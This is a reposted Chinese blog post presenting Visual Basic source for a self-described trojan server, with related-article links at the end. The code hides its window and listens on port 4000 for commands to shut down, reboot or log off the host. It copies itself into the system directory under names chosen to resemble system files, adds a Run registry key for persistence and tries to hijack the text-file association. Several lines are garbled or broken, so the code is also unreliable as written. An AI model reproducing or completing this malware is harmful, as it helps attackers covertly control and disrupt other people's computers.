我的小木馬---server端---第一次編譯 (轉)
'主窗體:Frm_Winsock
'Winsock:G_Server
Private Sub Form_Load()
'隱藏程式
'
'讀取主機IP
Host= G_Server.LocalIP
'讀取主機名
HostName = G_Server.LocalHostName
With Me
'設定本地預設埠
.G_Server.LocalPort = 4000
'
.G_Server.Listen
'隱藏窗體
.H
End With
'獲取所在目錄
Dim sCurrentPath As String
sCurrentPath = App.Path & "" & App.EXEName & ".exe"
De.Print sCurrentPath
Dim sSystemDir As String
sSystemDir = "C:winntsystem32"
On Error Resume Next
'複製成目錄下的Systrsy.exe
FileCopy sCurrentPath, sSystemDir & "Systrsy.exe"
On Error Resume Next
'複製檔案成系統目錄下的txtView.exe
FileCopy sCurrentPath, sSystemDir & "txtView.exe"
'
Call StartupGroup
Call WriteToTxt
'判斷是否下在執行
If App.PrevInstance Then
'如果已經執行就退出。
End
End If
End Sub
Private Sub G_Server_ConnectionRequest(ByVal requestID As Long)
With Me
If .G_Server.State <> sckClosed Then G_Server.Close
.G_Server.Accept requestID
End With
End Sub
Private Sub G_Server_DataArrival(ByVal bytesTotal As Long)
Dim strData As String
With Me
' 接收客戶請求的資訊
.G_Server.GetData strData
Case strData
Case "Exit"
'關機
Call ExitEx(EWX_SHUTDOWN, 0)
Case "Reboot"
'重啟
Call ExitWindowsEx(EWX_REBOOT, 0)
Case "Logoff"
'登出
Call ExitWindowsEx(EWX_LOGOFF, 0)
End Select
End With
End Sub
'mod模組
'宣告全域性變數
Public HostIP As Variant
Public HostName As Variant
'宣告API
Public Declare Function ExitWindowsEx Lib "user32" (ByVal uFlags As Long, _
ByVal dwReserved As Long) _
As Long
Public Const EWX_LOGOFF = 0
Public Const EWX_REBOOT = 2
Public Const EWX_SHUTDOWN = 1
Public Declare Function ClipCursor Lib "user32" (lpRect As Any) As Long
Public Type RECT
Left As Long
Top As Long
Right As Long
Bottom As Long
End Type
Public Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, _
ByVal lpSubKey As String, _
phkResult As Long) _
As Long
Public Declare Function RegSetvalueEx Lib "advapi32.dll" Alias "RegSetvalueExA" (ByVal hKey As Long, _
ByVal lpvalueName As String, _
ByVal Reserved As Long, _
ByVal dwType As Long, _
lpData As Any, _
ByVal cbData As Long) _
As Long
Public Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, _
ByVal lpSubKey As String, _
phkResult As Long) _
As Long
Public Const REG_BINARY = 3
Public Const REG_SZ = 1
Public Const HKEY_LOCAL_MACHINE = &H80000002
Public Const HKEY_CLASSES_ = &H80000000
Declare Sub keybd_event Lib "user32" (ByVal bVk As Byte, _
ByVal bScan As Byte, _
ByVal dwFlags As Long, _
ByVal dwExtraInfo As Long)
'寫到登錄檔啟動組中的過程
Public Sub StartupGroup()
Dim skey As String
Dim result As Long
Dim hKeyID As Long
Dim skeyVal As String
'啟動組中的鍵,找一個與系統檔案相近的。
skey = "Systrsy"
'木馬檔案的路徑,可以用GetSystemDirectory來取得系統路徑。
skeyVal = "C:winntsystem32systrsy.exe"
result = RegOpenKey(HKEY_LOCAL_MACHINE, "SoftwareWindowsCurrentVersionRun", hKeyID)
If result = 0 Then
Debug.Print hKeyID & "/n"
result = RegSetvalueEx(hKeyID, skey, 0&, REG_SZ, skeyVal, Len(skey) + 1)
Debug.Print result & "/n"
End If
End Sub
'與txt檔案進行關聯
Public Sub WriteToTxt()
Dim result As Long
Dim hKeyID As Long
Dim skey As String
Dim skeyVal As String
skey = "txtfileopencommand"
skeyVal = "C:windowssystemtxtView.exe"
result = RegOpenKey(HKEY_CLASSES_ROOT, skeyVal, hKeyID)
If result = 0 Then
Debug.Print hKeyID & "/n"
result = RegSetvalueEx(hKeyID, skey, 0&, REG_SZ, skeyVal, Len(skeyVal) + 1)
Debug.Print result
End If
End Sub
來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/10752019/viewspace-977292/,如需轉載,請註明出處,否則將追究法律責任。
相關文章
- 微信小程式swiper旋轉木馬微信小程式
- Python編寫簡易木馬程式Python
- 木馬藏在何處-遠離遠端控制
- 警惕:利用防毒軟體 更狡猾的木馬(轉)防毒
- 程式猿生存指南-52 旋轉木馬
- BetaBot 木馬分析
- 木馬逆向分析
- 木馬學習
- 木牛流馬
- 突破常規限制執行asp木馬(轉)
- gcc編譯器小知識FAQ(轉)GC編譯
- 硬體木馬(一)
- 我的LESS編譯方案編譯
- 釋放並執行病毒及風險程式的木馬(轉)
- [開發教程]第35講:Bootstrap旋轉木馬boot
- 警惕木馬Dropper病毒連結非法網站(轉)網站
- 駭客基本功 淺談病毒,木馬,駭客(轉)
- 分析關於木馬隱藏一個的新方法(轉)
- 快速定位挖礦木馬 !
- 編譯Android VNC Server編譯AndroidVNCServer
- 寬頻來臨 封殺FSO躲避木馬程式的侵擾(轉)
- 流氓和木馬結合 強行關閉你的防火牆(轉)防火牆
- 分離帶木馬檔案的方法
- 用工作管理員揪出暗藏的木馬
- 一個顯為人知的木馬隨程式啟動的方法(轉)
- 木魚小鋪:商家如何玩轉社群團購小程式
- 自己動手做QQ木馬----郵件傳送篇 (轉)
- 用命令檢查電腦是否被安裝木馬(轉)
- 巧妙設定QQ密碼 氣死囂張木馬(轉)密碼
- 駭客知識之你真的知道特洛伊木馬嗎(轉)
- Free Star木馬分析與追溯
- 黑狐”木馬分析報告
- 利用msfvenom生成木馬檔案
- 盜號木馬分析報告
- iexpress全力打造“免檢”木馬Express
- 遭遇 木馬 srpcss.dllRPCCSS
- 木馬問題解決方案
- 寫了一個 SRE 除錯工具,類似一個小木馬除錯